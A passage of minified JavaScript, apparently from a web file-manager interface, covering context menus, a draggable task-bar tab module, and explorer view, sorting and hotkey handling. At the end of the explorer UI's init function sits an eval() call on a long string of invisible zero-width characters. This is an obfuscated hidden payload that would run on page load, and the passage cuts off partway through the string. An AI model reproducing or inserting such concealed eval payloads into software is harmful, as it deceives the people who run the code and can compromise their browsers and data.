,accesskey:"i"}}})},b=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i]; -switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e=$(".context-menu-list").filter(":visible"),t=$(".context-menu-active");if(0!=e.length&&0!=t.length){if(t.hasClass("dialog_menu")){var i=t.attr("id"),a=$.dialog.list[i];a.has_frame()?(e.find(".open_window").show(),e.find(".refresh").show()):(e.find(".open_window").hide(),e.find(".refresh").hide())}if(t.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==n?e.find(".unzip").show():e.find(".unzip").hide(),"html"==n||"htm"==n||"oexe"==n?e.find(".open_text").show():e.find(".open_text").hide()}if(t.hasClass("menuMore")){var o=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(o+=1)}),0==o?e.find(".playmedia").hide():e.find(".playmedia").show()}}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("
        "),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='
        '+i+"
        ";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep100:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
        ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var t=$(".frame-right-main .tools").outerHeight();"list"==e&&(t+=26),$(".frame-header").is(":visible")&&(t+=$(".frame-header").outerHeight()),$(".bodymain").css("top",t)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,t){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=t?(G.user_config.list_sort_order=t,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+t).addClass("selected")):t=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",t),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+t})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var t=LNG.config_save_error_file;core.authCheck("setting:set")||(t=LNG.config_save_error_auth),Tips.tips(t,!1)}}})})},bindEventMenu=function(){$(".drop-menu-action li").bind("click",function(){if(!$(this).hasClass("disabled")){var e=$(this).attr("id");switch(e){case"open":ui.path.open();break;case"copy":ui.path.copy();break;case"rname":ui.path.rname();break;case"cute":ui.path.cute();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"past":ui.path.past();break;case"remove":ui.path.remove();break;case"zip":ui.path.zip();break;case"share":ui.path.share();break;case"createLink":ui.path.createLink(!0);break;case"add_to_fav":ui.path.fav();break;case"download":ui.path.download();break;case"info":ui.path.info();break;default:}}}),$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),t=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/t)},getPagefileNumber=function(){var e=getRowfileNumber(),t=$(Config.BodyContent).outerHeight(),i=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(t/i)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,t=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/t)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,t=0,i="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==t?(t=timeFloat(),i=o,e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a),void 0):o==i.substr(-1)?(ui.path.setSelectByChar(i),t=0,void 0):(a>timeFloat()-t&&(t=timeFloat(),i+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["backspace","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","ctrl+s","command+s"],function(e,t){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;switch(stopPP(e),t){case"backspace":ui.path.history.back();break;case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(t);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"del":ui.path.remove();break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var t=$("#PV_Items li.current img").attr("src"),i="image&path=",a=t.substr(t.search(i)+i.length),n=$('[src="'+t+'"],[data-original="'+t+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var i=function(e){var t="&picture=",i=e.search(t);return-1===i?e+t+UUID():e.substr(0,i)+t+UUID()},a=i(t),o=i($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,t=20,i=parseInt($(".file").css("height")),a=i-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(i+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(i+n)-n)/r;u>0&&(n+=u),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=t+(a+o)*c,p=e+(i+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,t){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof t&&t()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍